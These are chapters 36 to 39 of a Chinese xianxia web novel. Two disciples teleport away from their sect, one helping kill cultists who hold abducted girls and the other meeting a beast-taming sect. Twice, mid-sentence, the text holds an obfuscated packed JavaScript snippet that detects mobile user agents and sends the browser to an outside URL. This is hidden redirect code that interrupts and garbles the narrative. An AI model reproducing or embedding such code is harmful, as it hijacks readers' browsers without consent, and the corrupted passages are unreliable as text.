于是她默念道:“我想去一个与人死后魂魄有关的地方。” 万籁俱寂。 关云铮睁开眼,眼前已并非归墟。 **** 章存舒向几个弟子解释传送阵法的时候强调过,阵法会首先保障他们的安全,虽然弟子们的想法各不相同,但能去往的地方其实相对有限,并不是全域都在范围之中,而是先行剔除了一部分相对危险的区域。 但楚悯一落地就遇到了意外情况。 她确信此刻全域皆是白天,但落地之后眼前的阳光却非常稀薄,其中一缕正落在她脚边的草地上,印出一枚光斑。 楚悯抬起头,发现周围的树木几乎高耸入云,树冠更是遮天蔽日,难怪正值白天却见不到多少阳光。 还没等她把身处环境观察清楚,不远处兽类的咆哮声突起,吓了她一跳。 楚悯迅速转身,找了棵树躲藏,从怀里的乾坤袋里摸出一个火折子。 如果关云铮也在的话,就会发现这个火折子和上次她们用来烧龟甲的那个不太一样,顶端并没有反复点亮火焰又多次熄灭的烧焦痕迹,几乎是簇新的。 楚悯像上次那样低声念了一句诀,手心再度亮起接近纯白色的火焰,她把火折子凑到火苗上燎了一下,火折子顶端立刻跃起一簇白光。 在接近黑暗的森林中足够亮了。 楚悯合拢手掌,把手心的火熄灭,看着火折子顶端的那簇光。 那点光亮起先不偏不倚地位居正中,随后不知是风的影响还是什么,逐渐往楚悯身后的方向偏移。 楚悯看了眼身前,是方才传来咆哮声的位置,又垂眸看了一眼火折子,最终还是转过身,顺着光亮的指引走了。 这火折子,不,确切来说,她手上的东西更接近于一个法器。 天问一派大多并不精通体术,就连门中长老也少有在体术上大有造诣的,故而天问中人多数都扬长避短地钻研了许多法器,她手中的东西就是个可以简单示警并指引方向的法器,没有专门的名字,平时都随口唤作火折子。 与寻常的火折子不同,她手上这个不能见明火,一旦见了明火,示警与指引作用就会失效,点燃它的只能是她手心这样的火苗。 她手心的火苗实际上是灵力催发的,并不是真正意义上的火焰,故而虽然可以拿来烧东西,但没有看起来那么灼烫。 灵力与灵力之间可以互相感应,而万物皆有灵力,故而可用灵力之火点燃的火折子来感应周遭,判断吉凶。 仙盟忽然来这一出着实打乱了许多人的计划,楚悯知道步雁山和章存舒让他们下山实为好心,但此刻她神色有些苦恼——因为她方向感不太好,这次来修习也没有带地图。 毕竟都是看不明白的东西,带着有什么必要呢? 森林似乎漫无边际,楚悯一边在行进的同时警惕周围,一边思忖着:这样覆盖广的森林全域没有几处,来归墟修习时已是秋天,这周围却既不见树木落叶,也没有草木泛黄,而镜溪城已在全域靠南,城中仍有部分草木衰败之象,此处想必是更南边、更暖和些的地方。 章存舒说会让他们传送到安全的地方,楚悯倾向于认为传送的目的地多是有各大仙门管辖之地,否则无法确认其安全性。 人群的叫嚷之声与马蹄声远远传来,楚悯果断地熄灭火折子放回乾坤袋,转身在一棵树后藏好。 没等多久,一队服饰特色鲜明的人策马而来,直冲方才传来兽类咆哮声的方向去了。 那群人肤色偏黑,衣料大多轻薄,身上用兽类的毛皮、牙齿制作的饰物异常显眼。 楚悯艰难地在脑海里想象出一副残缺不全的全域仙门分布图。 南方,森林,与兽类相关——看来她此行,来到了鹧鸪山。 37.第 37 章 让关云铮自己评价的话,她觉得自己脑海中关于目的地的想法其实挺模糊的。 “与人死后魂魄有关的地方”,这个定义太含混了,到处都会死人,到处都有死后无法得到安息的魂魄,故而传送到哪里都有可能。 但鉴于楚悯说,章存舒和步雁山会保证传送地点的安全性,那可传送的范围就小了很多,她觉得大概率是有仙门的地方,毕竟修仙世界里的相对安全应该是靠驻守当地的仙门力量保证的。 只不过她也不能确定,毕竟她待的这个世界跟她看过的众多修仙文都不太一样。别的修仙文都忙着打怪和拯救世界,她所在的这个世界像是什么“异端”,到现在遇到最让人头疼的几个邪修,还是江却三下五除二就能都解决的程度。嗯,没有说大师兄不强的意思。 不过也可能是她受归墟庇护,所以才对外界一无所知。 毕竟她还在21世纪的时候,不上网也不会知道,有些国家都要被炮火轰炸得从世界地图上消失了。 关云铮现在身处荒郊野外,周围树木稀疏,她无端警醒,下意识握紧了手里的东西,被冰凉的剑鞘硌了一下手心,才想起自己此行带着摇羽。 她拔剑出鞘:“摇羽,你知道这是哪吗?” 摇羽一开始没回答,关云铮还以为灵气又不够了,过了会儿才听见它慢吞吞地说:“我又没实体,怎么知道这是哪?你刚传送过来之前想的什么?” 关云铮犹豫了一下,跟自己的剑说实话应该没什么问题吧? 还没等她开口坦白,摇羽的语气忽然严肃起来:“附近有灵力波动。” 关云铮在荒郊野外站了这么一会儿,还没有下山历练的实感就听见这么一句,像是数学试卷没有选择题,而且第一道填空就是排列组合,被吓得一口气差点卡喉咙里:“什么灵力波动?” 摇羽像是又感觉了一下:“应该是两波人打起来了,过去看看?” “安全吗?”关云铮一边质疑,一边顺着摇羽的指引往前走。 “我可没法保证,先靠近看看。”听语气并不多么危险的样子,关云铮不知道是摇羽心大,还是前方真的只是个小场面,默默在心里叹了口气。 “你之前说,是鬼灯楼的人给你种的心魔引?”一人一剑稳步前行的过程中,摇羽忽然问道。 “大师兄说的,当时我并不知道他们是谁。”关云铮如实相告。 摇羽“嗯”了一声,又问她:“你没问鬼灯楼是干什么的?” 她想了想:“当时没问,但之前下山的时候我遇到过鬼灯楼的人,她跟我说他们是跟鬼魂之类打交道的。” 摇羽好像是笑了一声,关云铮疑心自己听错了,随即又听到剑灵说:“那你做好再次遇见他们的准备吧。” 关云铮的脚步顿了顿:“什么意思?前面有鬼灯楼的人?” 摇羽像是故意卖关子:“我只感觉到其中一方使用灵力的方式邪性得很,至于是不是跟鬼魂有关,感觉不出来。” 关云铮不是很想知道如果前方真的是鬼灯楼的弟子,他们来这是想做些什么。但她又不能否认,她在传送前的想法确实跟鬼灯楼的“业务范围”有点重叠。 摇羽听她不说话了,以为她害怕,又问道:“你方才还没说呢,传送前想了什么?” 关云铮已经看到前方竹林里隐约的人影了,闻言回答道:“我希望去一个与人死后魂魄有关的地方。” 摇羽听上去又想骂她了:“不是让你们找武器吗,你这什么想法?”话音未落,它似乎感应到了什么,压低声音道,“看到人了?” 关云铮的语气相当生无可恋:“嗯,你要的鬼灯楼。” **** 鹧鸪山当地驻守的仙门好像就是与兽类打交道的,楚悯此前没怎么离开过师门,只在门中学习时听过关于他们的事,因此尚且不能确定方才纵马路过的是不是此地仙门,思虑片刻后还是决定跟上去瞧瞧。 她一边小心地往来的方向走,一边想:步掌门和章先生的本意应当是让他们通过寻常途径获取武器,比如武器铺子这一类,但应该也不排除像她这样掺和进当地门派日常事务的情况。 毕竟如果想要他们找一把锻造武器的话,镜溪城中并不缺匠人,哪怕给归墟一众弟子尽数锻造出合适的武器需要时间,也没必要费心思铺设传送阵法。 楚悯回过神来,意识到自己都在想些什么,不由失笑。 天问一派自创建以来,半数以上的门中人都短寿。 修习的道法会一定程度折损寿命是一方面,总是下意识地往深处想,剖析事件的始末又是另一方面。 以前叔父总是唠唠叨叨地说:“小悯的脑袋里要少装些东西。” 彼时的她不明所以,觉得这有悖于天问一派“多思多想”的行事准则,于是思考片刻,抬起头来问叔父:“为何?我不明白。” 叔父把她的头发梳顺:“思虑过多伤神伤身,没准还会掉头发。” 楚悯下意识看了一眼叔父手里的木梳。 叔父哈哈大笑起来:“吓唬你的,但脑袋里装了太多东西会睡不好觉。” 楚悯没笑,无端觉得叔父的心情似乎不太好,于是犹豫着问道:“叔父每日夜里都睡不好觉吗?” 叔父脸上的笑容消散了一些,他摸了摸楚悯的头发:“是啊,几乎每日夜里都睡不好。” 那时她说了什么? 楚悯像被什么东西蛰了一下,皱了皱眉,脸上骤然浮现出几分痛苦。 别再想了。楚悯反复在心里告诫自己。命数是这世上最不讲情理的东西。 楚悯强行收敛了脸上的神情,继续往前走了一会儿后,终于看见了方才那队人的身影。 刚看清视线正中的东西,楚悯就被惊得脚下一滑,险些被树木巨大的根系绊倒。 那是一条足有一人环抱粗的巨蚺,正缠在一头老虎身上,先前她听到的咆哮声可能就是这头老虎发出来的。 他们是在捕猎? 鹧鸪山地处偏僻,所在之地蛇虫鼠蚁横行,若无必要鲜有人至,是以对他们的记载也并不多,楚悯在记忆中翻找几番,也只能想起他们习惯以音御兽,与山中灵兽为友。 若是这会儿云崽在旁边,大概会感慨一句:“不是都说对牛弹琴吗,他们对灵兽吹奏乐器,灵兽听得懂?” 楚悯被自己想象出的画面逗笑了,正想再观察片刻再上前,变故陡生。 **** 关云铮一边形容鬼祟地靠近那群人,一边腹诽着:这个世界真的不是谁写的小说吗?反派群体这么单调,只要有坏人作妖就是鬼灯楼,这让她很难不怀疑啊。 不过换位思考一下,创作的过程中如果坏人一波又一波,光是给他们起小团体的名字就得怨气冲天了,但假如始终是一群人,甚至不太需要起群体内部的名字了,反正都得被主角打败,关云铮非常没有创作道德地想。 但人不是非黑即白,需要坏人的时候就被拖出来当炮灰的反派,和没有任何缺点伟光正的主角一样不现实,偶尔看看还行,看得多了就差点意思了,毕竟谁也不喜欢量产的东西。 不对,如果殷含绮对她完全坦诚,那殷含绮这个“角色”首先就与鬼灯楼的一部分人产生了不同,同一门派之中有对“引魂”这件事持不同态度的两波人,会让这个门派的形象不那么像个没意思的反派。 关云铮在竹林里走得小心翼翼,生怕像电视剧里那样,关键时刻踩到什么显眼的枯枝引起注意。 “都什么时候了你还想着那档子事?!”一个暴怒的声音忽然响起,吓得蹲着的关云铮差点一头磕上面前的竹子。 她把身子伏得更低,努力从茂密的林木之间看出去。 “反正她们都要死在这。”被凶的那个人说。 死在这?又是引魂术?关云铮看向坐在地上的那些人,基本上都是年纪很轻的女孩,比上次下山时还要多几个。 但她没看到香炉。 那档子事...... 摇羽听她半晌都没动静,估计她已经到附近了,也没再开口,而是闪烁着跳出几个字来: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14971493|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “情况如何?” 关云铮正皱着眉头,感觉到摇羽微微颤动,低头看了眼,压低声音用气声说:“你觉得我打得过五个邪修吗?” 摇羽好久都没动静,过了一会儿才艰难的跳出两个字:“多少?” 都能想象它要是能说话,这句话得是什么音调。 关云铮紧张得手心冒汗,没拿剑的左手反复攥着自己的衣摆。虽然比起上次下山她的术法和功夫都有了一定长进,但对上五个邪修,她觉得自己的胜算为零,甚至可能还是跟上次一样会把自己搭进去。 摇羽没动静了,不知道在剑里想什么,关云铮正在脑子里快速回忆这些天学过的所有内容,感觉自己就像是期末考试前,因为复习不完反复计算考多少分才能过的悲惨大学生。 哦,不是好像,她就是这样的大学生。 可惜正邪对抗不是期末考,没有好心的老师海底捞。 这次摇羽蹭够了灵气,她也勉强算是学会了御剑,正打算豁出去莽一把,却眼尖地看见人堆里一个女孩动了动。 不对,好像不是女孩,年纪比其他人都要大一些。 关云铮看见她正伸手到身后摸索着什么,但从这个方向和角度看,她身后的东西被遮挡了大半,看不清楚具体是什么。 还没等她再看两眼,方才那两个起了争执的男人就一前一后地走了过来,要把一个女孩从人群中拎走。 那女孩正坐在方才那女人的前方。 要是她在割绳子,小动作岂不是要被发现了?! “你们要干什么!放开我!”被强行拖起来的女孩叫喊起来。 被训斥的那个男人已经开始在女孩的叫喊声里开始动手动脚,关云铮的剑诀刹那间涌到嘴边:“剑随心至,去!” 与此同时,她终于看清了那个女人的动作——她早已不知何时挣脱了束缚,一手将身后的琴翻至身前,另一只手在琴弦上用力一扫——无形的攻击从她两手之间扩散出去,刹那间就把抓住那女孩的两个男人掀飞出去。 摇羽飞驰而至,从另外三人中的一人身体穿胸而过,关云铮从竹林中一跃而起,接住飞回来的摇羽。 那个弹琴的女人和她对上视线后神色毫不意外,像是早就感觉到了她在附近。她依旧席地而坐,右手已经再度按上琴弦。 关云铮握紧了已经沾血的摇羽。 被琴音掀翻的两人在地上挣扎着,正要爬起来,下一道琴音已经催命似的碾过他们胸膛,两人齐齐吐出一口带着沫的血。 关云铮看向最后两个鬼灯楼的人。 其中一个明显还想反击,提剑冲上前来。 关云铮的心脏在胸腔里砰砰作响,肾上腺素作用下,精神紧绷的同时这具身体的反应力也被调动到了极致——她用力挥出摇羽,格挡住迎面而来的一击,随即再度发力,将那人的剑挑高,还没等他反应过来再度挥剑,先一步把剑尖刺入他胸膛。 这个动作让她和面前人的距离骤然缩短,但这人显然还有反击之力,因此她毫不犹豫地拔出剑向后猛撤一步,让他已经疲软的攻势落了空。 不算很多的血因为拔剑的动作溅了出来,关云铮来不及完全闪躲,被温热的液体溅上侧脸。 冷静,她在脑海里对自己说。 咚咚,咚咚。 关云铮在心跳声中握着剑转向最后一个邪修。 那人经历了突然的两次袭击,又看着几个同门在自己面前倒地不起,已经吓得面如土色,握着剑的手抖如筛糠,慌不择路地连连后退,正撞上一道让他失了浑身气力的琴音。 关云铮承认她现在有点不太理智,她感觉自己现在比反派还像一个反派,简直像杀红眼了一样抬手就要挥剑。 “且慢!”一个有些熟悉的声音从身后的方向响起。 关云铮提防着眼前的人突然发难,没有立刻转头,而是等身后的人走上前来才分了一眼。 “咦,是你?”来人看清关云铮的脸后说道。 关云铮也有点愣住了:“你是小悯的哥,兄长?” 38.第 38 章 “你还记得我?”面前的男人看上去与江却差不多年纪,认出关云铮后脸上的神情温和了许多。 关云铮点点头:“这里难道是盈川?” 她记得小悯跟她说过天问在盈川的盈都峰。 楚悯的哥哥点点头:“正是盈川,我在门中探查到附近有异动,故而来此。你怎么会在这?小悯呢?没有跟你一起吗?” 关云铮正想跟他解释清楚自己在这的原因,余光里什么东西忽然一闪,她完全来不及反应,左手却已经条件反射般地抬起来挡在身前。 “叮”一声脆响,像是金属与金属碰撞的声音。 她还没反应过来,楚悯的哥哥已经变了脸色,不过还没等他循着方向做出应对,方才那个弹琴的女人已经一脚踩在最先倒地的其中一人胸口:“真能作死。” 那人原本还支起了一点身子,手还朝着关云铮的方向,被一脚踩中胸口,彻底上不来气,一命呜呼了。 关云铮:…… 为什么脑子里在大喊“不要奖励他”,真的很想让自己的脑子正常一点。 “我是苏逢雨,江湖散修,你们呢?”抱着琴的女人神色平静地收回腿,好像刚才没有一脚踩死一个人一样,看向关云铮和楚悯的哥哥。 楚悯的哥哥语气抱歉:“方才事出紧急,忘了报上姓名。在下楚恽,盈都峰天问派弟子。” 关云铮正打算也跟着自我介绍,就听见楚恽说:“这位是归墟苍生道弟子,关云铮,多谢前辈施以援手,了结那人性命,不然他可能还会用暗器伤人。” 行吧,看来是小悯和她哥哥通信的时候介绍过,自我介绍也省了。 楚恽说完又低头看她:“啊,我操心惯了,又自作主张了,还望你不要介意。” 关云铮赶紧摆手:“怎会,多谢……” 又卡称呼上了。 楚恽笑着说:“同小悯一样唤我兄长就好,若是不习惯也可以叫我楚师兄。” “多谢楚师兄。”关云铮快被楚恽身上散发的老妈子光辉晃晕了,只好投降道。 “你留他性命,打算做什么?”苏逢雨看了眼那被吓得精神状态都不太正常的邪修。 楚恽解释道:“近日盈川有不少失踪消息上报,门中早已怀疑是鬼灯楼的手笔,但尚未查清余下姑娘们的下落,所以让我留一个活口,捉回去审问。” 苏逢雨好像并不真的关心那邪修之后的下场,因此只神色平淡地“哦”了声就不再多问,看向关云铮道:“你左手那个,是护身法器?” 关云铮抬起手腕,想起方才自己完全没有抵挡的想法,左手就抬了起来,猜测这就是这个镯子“护身”之处:“是,师父给的。” “你师父是章存舒?”苏逢雨又问道。 关云铮点点头。 苏逢雨没什么表情:“他还行。”说完就点了点头,抬腿要走。 “前辈,您不随我去门中一趟吗?”楚恽开口道。 苏逢雨抱着琴看了他一眼:“我也不知道剩下的姑娘们都在哪,混在这群人里也只是为了找个合适的时机把他们都杀了,如今你来了正好,收拾收拾残局吧,”她走出两步,又说,“天问难道还打算审问我?” 楚恽连忙抬手:“晚辈不敢,多谢前辈援手。” 苏逢雨像是懒得再说车轱辘话,连个回应也没有地走远了。 关云铮和楚恽看着她走远,又看了眼一地的邪修尸体,还在昏迷的几个女孩,和明显被吓着的那个女孩,一起头疼地叹了口气。 **** 楚悯反应过来时另一头猛虎的利爪已经离她的脸不到两尺,她身后是树干,无法后撤躲开,只好迅速矮身躲过,随后卧倒就地一滚,离开原本站的地方。 猛虎一击不成,第二击已至,腥风扑面而来,她想起蒲飞鸢教学时曾说过的话:“当你没有足够抵挡的武器面对袭击时,千万不要抬手挡。” 因为蒲飞鸢曾经见过一个手腕断得只剩一截皮肤与手臂相连的人,就是因为武器脱手后下意识抬起手臂抵挡,直接被对手砍断了。 当时关云铮心有戚戚焉地在她旁边点头:“我也读到过这样的故事。” 在哪里读到的关云铮没说,楚悯知道一定不是什么寻常书籍。 关云铮说完后又问道:“那该怎么办?” 蒲飞鸢的神情很严肃,像是很怕他们会以卵击石,语气如同叮嘱般郑重:“力量太悬殊的时候,躲避攻击才是你们的首要任务,切忌正面迎敌。” 楚悯心念电转间已经利落地又在地上打了几个滚,沾了一身的草叶也没停顿,直到一支响箭从远处飞来,钉在她和那头猛虎之间。 楚悯猛然抬头,看见箭尾的翎羽还在颤动。 猛虎也被吸引了注意力,调转方向朝响箭飞来的方向怒吼。 楚悯再度滚了一圈,撑地起身,迅速躲藏到另一棵树后,右手食指指尖已冒出灵光。 她在左手掌心迅速画了一个微型阵法:“勘破!” 随着她的话音一同响起的是一阵急促的笛音,楚悯凝视着手心的阵法,片刻后抬起头看向来人。 是方才那队人马,盘踞着身子的巨蚺处于其间。 “它是那头幼兽的母亲!”楚悯离第二头猛虎的距离依旧很近,三方原本正僵持着,她的这句话骤然打破平静,猛虎像是能听懂人言,咆哮一声,再度朝她这边冲过来。 急促的笛音再度响起,还伴随着忽高忽低的哨声,像是妄图拴住面前不通人性的野兽。 楚悯正准备后撤,腰间一紧,脚下倏然腾空。她仓皇回头,看见一个人正从后方高处的枝杈上垂落半身,手中的软鞭缠住了她的腰。 “冒犯了,姑娘!”那人口中说着,手上用力,楚悯不受控制地被整个人抛起,又被那人拉着,一起坐回了树杈上。 楚悯惊魂未定地回头:“我记得猛虎应当会爬树?” 故而树上也并非安稳之处。 那人老神在在地冲她一点头,甩着手上的软鞭:“自然,只是你也说了,它是底下那头幼兽的母亲,此刻自然护子心切,来不及跟我们几个杂鱼追究。” 楚悯左手掌心的法阵在飞快地变换着,那人“咦”了一声,凑上前来:“这是什么法术?” 楚悯下意识退后了些,随即又摊开手掌给他看个清楚:“天问一派的卜算阵法。” 那人眼睛一亮:“你是天问的?那你能帮忙看看底下那头老虎的弱点在哪吗?” 楚悯低头往下看了眼,那头雌兽看见了自己虚弱的孩子,又被笛音和哨音控制着无法上前,正在原地焦躁不已。 “你们为何要抓它的孩子?”楚悯一边飞快地修改和添补着阵法,一边问道。 身旁的人叹了口气:“你是天问的肯定知道,我们鹧鸪山一般是主张和山中灵兽都处好关系的,但这只幼兽已经下山作恶过多回了,起先只是偷鸡,后来连人都想叼走,仙门怎容得这种妖兽存活?” 楚悯没纠正他口中“天问无所不知”的说法,目光落在掌心没动:“那头雌兽的弱点在右后腿,曾经受过伤,一直没痊愈,攻之或可使其疲软。”她说完后停顿了一会儿,“若杀了那头幼兽,她应当会与你们鱼死网破。” 旁边的人皱了皱眉:“知道了。”他将软鞭在树杈上缠了一圈,“你先在此处稍候。”说罢便握住软鞭另一头,像在山中借助树藤跃进的猿猴般,轻巧地从树上落地。 楚悯身处高处,清楚地看见他落在人群中,同那吹笛人耳语了几句。 吹笛人往她所在位置看了眼,又低声对身边几人说了什么。 一队人迅速变换着阵型,笛音、哨音和法术一齐发动,那雌兽焦躁难安,终于扑上前来。 在一旁的巨蚺早有准备似的甩出尾巴,猛然抽打在它右后腿。 雌兽痛苦地咆哮一声,庞大的身躯颤动,但仍坚持着想要靠近人群,和人群之后它奄奄一息的孩子。 吹笛人的笛音再度急促起来,而他身后的几人指间翻飞,口中念念有词。 楚悯手心的卜算阵法仍在运作,因此清楚地得知那几人指间正逐渐成型的东西,是鹧鸪山灵兽一派最擅长的捕灵网,只要法力足够,无论多大的猛兽,都能在张开时的瞬间将其绑缚。 下方耀眼的金光一闪,卜算阵法倏地停止运转。 捕灵网成型了。 **** 楚恽和关云铮很快确定了分工:楚恽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975564|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 负责把剩下的那个邪修绑起来,并且叫醒余下还在昏迷的姑娘,关云铮来安抚那个受惊的。 坦白说,关云铮不知道该怎么安抚。古代人和她这个现代人对于这件事的看法就存在着本质上的不同,她和苏逢雨出手及时,面前的女孩只是衣裳略显凌乱,实质性的侵害并未发生。 但这也不代表她就没有受到伤害。那些丑恶的嘴脸已经足够让一个女孩感到恐惧和后怕了。 关云铮不知道该怎么面对这样的场景,在这件事上,她与楚恽相比唯一的特殊之处就是她也是个女孩。 她轻轻叹了口气,半蹲下来:“别害怕,那些人已经被我们解决了。” 但是以后呢?坏人作恶是没有尽头的,她又该怎么办呢? 关云铮在乾坤袋里翻找了一会儿,找出一块师姐给她的手帕,隔着不会加重女孩恐惧的安全距离递给她:“擦擦眼泪吧。” 看她伸手接过,关云铮又低头翻找了一会儿,找出一件师姐担心她在山下着凉才塞进来的披风,没说话,只是放在膝盖上叠好,也递给她。 做完这一串动作后她忽然想起什么,有点惭愧地用力抹了一把脸颊:“方才溅到血了,抱歉,是不是吓着你了?” 女孩一手拿着披风,一手攥着手帕,像是想要把眼泪忍回去,只是努力了片刻,还是徒劳地哭出了声。 关云铮不知道该说什么,只好蹲在她面前等她的情绪过去。 楚恽已经叫醒了余下的姑娘,比起前面这个,她们的情绪还算稳定,看来鬼灯楼的人还没来得及动手。 眼前的女孩听见了身后传来的低语声,因为哭泣颤动着的肩膀忽而一沉,泣声也不自觉停顿了一下。 关云铮敏锐地注意到了这个动作,干脆地打破安全距离,上前把她扶起来。女孩猝不及防,发软的双腿一时甚至使不上力,关云铮愣是把她撑住了:“没事,靠在我身上。” 她回头看了眼楚恽,楚恽也像会读心似的,给她指了个向前的方向,于是她顺着指引,扶着身边的女孩向前走:“你和那些姑娘相识?” 身边的女孩点点头。 关云铮没再顺着这个话题往下问,而是转向另一个话题:“想沿着这条路走走吗?” 女孩依旧断断续续地抽泣着,闻言微不可察地点了点头。 “我不是此地仙门的弟子,对路况不太熟悉,接下来你想往哪走?”两人走到岔路口,关云铮问道。 女孩回头看了眼:“你不等他一起吗?” 关云铮知道她在说楚恽,因此回答道:“他是天问的,应当比我熟悉路,我初来乍到,只好把你拐走当个向导了。” “我听到了,你们方才说的。”女孩的声音怯怯的,“我还听到他说你是归墟苍生道的,苍生道……是什么样的道?” 关云铮眨眨眼睛:“我也不知道,我也才入门没几天呢。” “那……是心怀苍生的道吗?”女孩又问。 关云铮笑着说:“应该是吧?” 女孩点点头,又不说话了。 前方隐约看到建筑,估计是快到盈川城中了,关云铮放慢脚步,女孩察觉到,下意识抓住关云铮扶在她身后的手:“我还没告诉你我的名字。” 关云铮朝她笑笑:“你知道我的名字就好啦。” 她只是个机缘巧合下帮了个忙的过路人,没有必要知道被她救了的受害者叫什么名字,是什么来历。或许在这一刻,她其实根本不想别人知道她是谁,只是出于被搭救后不得不表示的礼貌,才会说出这么一句。 如果不是苏逢雨问起,关云铮也不会让她知道自己的名字,这件事留下的印记越少越好,清晰的人名就像辅助图片记忆的标志,只会在未来的反复回忆中逐渐加深这段记忆,对于一个可能会对这件事耿耿于怀的女孩来说,大概不会是什么好事。 记住伤痛固然很重要,但一遍遍地回忆只是自虐,没有任何意义。 关云铮看她已经有了自己走路的力气,松开扶在她身后的手,又摸了摸乾坤袋,摸到一朵或许是章存舒放进去的干花。 “送给你吧,我也要去走我的路了。”关云铮把干花递给她,然后朝她笑了笑,转身去找楚恽会合了。 39.第 39 章 捕灵网困住了救子心切的母亲。 那头逞恶行凶的幼兽未来会如何?这只雌兽又会如何? 灵兽一派宣称自己与灵兽为友,然而衣饰中兽皮和兽牙制作的饰物令人目不暇接,难道这些全都来自于“凶兽”? 在高处目睹了一切的楚悯被树下的喊话声唤回神:“树上那位姑娘!” 楚悯收拢左手,阵法在她手心熄灭。她低头往下看,就见那巨蚺正逆着地上的草叶,向着她所在这棵树的方向缓缓爬行而来。 难道他们想让她跳到巨蚺的身上滑下去吗? 楚悯下意识在树杈上撑了一把,就见那巨蚺片刻间已经到了树下,向着她所在的高度支起身子。 方才那个用软鞭救了她的人在底下喊道:“你跳到灵犀身上再滑下来吧,太高了我们没法保证不让你受伤!” 荒唐的猜测成为现实,楚悯很想知道自己只是期望找一样乐器,为什么会被传送阵法送到鹧鸪山里。过去十几年间听都没听过的庞然巨兽,她今日这一会儿就近距离接触了两只,接下来还不知道会有多少。 那巨蚺的头颅已经到了树杈下方,距离她垂落下来的脚只有不到一尺,确实是个跳下去也不会受伤的距离。 楚悯下意识攥紧了手,发觉自己的掌心又热又黏,不可控制地出了很多汗。 那巨蚺似通人性,见她迟迟没有动作,又调整了片刻自己的脑袋,让更平坦的顶部成为楚悯的落脚点,看得出平时没少当临时坐骑。 豁出去了。 楚悯生平头一次不管不顾地想。 她向前挪动,右手最后撑了一把树杈,让自己落在巨蚺的头顶。 蛇鳞触手冰凉,并且滑得没有任何着力点,楚悯下意识伸手反而有些攀不住。 “你搂着它颈滑下来就行!”那人又喊道。 太荒唐了。 这么长的巨蚺她怎么知道哪里是它的颈啊!再说了她根本搂不过来! 还没等她调整自己的位置,巨蚺的头颅忽的动了。 楚悯用尽全力攀住自己能控制的每一片蛇鳞。 被唤作“灵犀”的巨蚺缓缓沉下身子,把脑袋落在了地上。 楚悯从它身上下来,心有余悸道:“多谢。” 面前的庞然大物竟朝她点了点头,随后吐着信子又爬回那吹笛人身边了。 先前那使软鞭的朝她跑过来:“其实我本来打算用鞭子卷你下来,但我哥说太危险了,怕你受惊。” 楚悯一时之间居然无法在巨蚺坐骑和这个办法中挑出一个不那么让人受惊的,这两者当真有区别吗? 吹笛人——应当就是面前人的兄长,收起笛子走来:“多谢姑娘施以援手,在下灵兽派弟子,叶浔。” 楚悯回礼:“天问派弟子,楚悯。” 使鞭子的那人从他兄长身后冒出个脑袋:“诶?哪个悯?” “怜悯的悯。”楚悯答道。 “还挺巧,我们同音不同字,我叫叶泯,童心未泯的泯。” 楚悯漫无边际地想,要是云崽在旁边估计会说:“那是挺童心未泯的。” 先前没注意,此刻平稳落地后,楚悯才分出注意力去观察二人,发现他们的面孔非常相似,像是—— “二位是,孪生兄弟?”她猜测道。 叶浔颔首:“是,家弟顽皮,行事不太靠谱,让楚姑娘受惊了,多有得罪。” 天下的兄长难道都是这般吗?套话说得太顺了她每每听了都觉得头疼,容易让她想起她那位啰嗦的兄长来。 “楚姑娘怎会来此?”叶浔将巨蚺收回特制的灵笼,只见银光一闪,那庞然大物身影凭空消失,变成一团光球,被叶浔拢进袖中。 楚悯简单解释了自己的来意。 叶泯大大咧咧地拍了一把他兄长的肩头:“我们门中这几日正好有新生乐器大典,不如你也来看看?” 叶浔任由他在自己肩头胡来,也没反驳:“楚姑娘若是愿意,我这就和门中长老传信。” 楚悯倒是没什么不愿意,只是不由得思索,传送法阵会将她送至此地,还恰好赶上驻地仙门这所谓的新生乐器大典,这些是否也是那二位计算好的一部分呢? 至于这大典…… 叶泯像个得了什么宝贝就要拿出来同亲朋好友们炫耀一番的孩童,看她不说话便自顾自地解释道:“我们灵兽一派讲究顺其自然,一般都是乐器挑人,故而每年都会给新生乐器举办仪式。” 叶浔正低头用灵牒与门中传信,闻言头也不抬地说道:“前言不搭后语,重说。” 叶泯一脸委屈地“哦”了一声,重新解释道:“灵兽派的乐器有限,都是天生地长形成的,至今不明原理,但若是遇到有缘人,乐器便会自发选择主人。” 叶浔“嗯”了声,像是终于满意了他的说辞,放下灵牒:“我已同门中报备,楚姑娘,我们走吧。” **** “楚师兄不用把那些姑娘送回去吗?”关云铮看楚恽独自一人走来有些疑惑,不说那些姑娘,那个要押去审问的邪修也不用带走吗? 楚恽回头看了眼,解释道:“门中有他人负责此事。” 关云铮更疑惑了:“那楚师兄来此是为了……?”不是说感受到附近异动才来的吗?难道不是鬼灯楼的异动? 楚恽朝她笑笑:“我御剑中途察觉情况有异,先一步来了。” 意思是飞得慢的人收拾残局?好像也没毛病。 关云铮自觉不再多问:“那我们是先回门中还是……?” 楚恽神色居然有些惊讶:“你愿意随我回门中?” 啊,是不该愿意的吗? 关云铮有点茫然地答道:“我参与此事,不是该去配合问话吗?” 那什么,做个笔录? 楚恽才意识到他和关云铮在各说各的,不由笑出声来:“这倒是不用,我是以为你会觉得天问太多规矩,你去了会不自在。” 那确实也是,要不她撤回? “既如此,我们御剑回去吧?”楚恽像是坚持不懈往家里邀请小朋友的家长,终于邀请到了一个不介意他家规矩多的小朋友,神情几乎有点过于兴高采烈了。 